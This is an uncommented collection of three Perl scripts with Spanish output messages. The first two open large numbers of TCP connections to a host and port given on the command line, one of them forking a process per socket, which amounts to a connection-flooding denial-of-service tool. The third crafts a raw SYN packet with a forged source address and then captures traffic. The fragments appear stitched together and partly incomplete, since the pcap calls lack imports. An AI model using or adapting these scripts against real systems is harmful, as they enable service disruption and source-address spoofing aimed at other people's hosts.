use IO::Socket;
use threads;
 
$host = $ARGV[0];
$puerto = $ARGV[1];
$sockets = $ARGV[2];
$i = 1;
 
print "Iniciando\n";
while ($i <= $sockets) {
print '*';
 
$sock = IO::Socket::INET->new(PeerAddr => $host, PeerPort => $puerto, Proto => 'tcp', Timeout => 1) || die ".";
print $sock "";
$i++;
 
}
print "\nTerminado.\n";
exit(1);

#!/usr/bin/perl
 
use IO::Socket;
use strict;
use warnings;
 
$|=1;
my ($sitio, $port, $protocolo, $n);
 
unless (@ARGV == 4) { die "uso: $0 [Host] [Puerto] [Protocolo] [Nº Sockets]\nEjemplo : $0 127.0.0.1 22 tcp 1000" } ($sitio, $port, $protocolo, $n) = @ARGV;
 
my @hosts = map { $sitio } 1 .. $n;
print "Iniciando...";
sub doit {
 
my $server = shift;
print ".";
 
my $sock
        =  new IO::Socket::INET(
               PeerAddr => $server,
               PeerPort => $port,
               Proto    => $protocolo,
)or die "$!\n";
 
print $sock "";
}
 
for ( @hosts ) {
next if my $kid = fork;
die "fork: $!" unless defined $kid;
doit $_;
exit;
}
 
1 while wait != -1;
print "\nTerminado.\n";

  use Net::RawIP;
  $n = Net::RawIP->new;
  $n->set({
            ip  => {
                    saddr => 'google.cl',
                    daddr => '127.0.0.1',
                    },
            tcp => {
                    source => 3254,
                    dest   => 22,
                    psh    => 1,
                    syn    => 1,
                    },
         });
  $n->send;
  $n->ethnew("eth0");
  $n->ethset(source => 'google.cl', dest =>'127.0.0.1');    
  $n->ethsend;
  $p = $n->pcapinit("eth0", "dst port 21", 1500, 30);
  $f = dump_open($p, "/home/yan/log");
  loop($p, 10, \&dump, $f);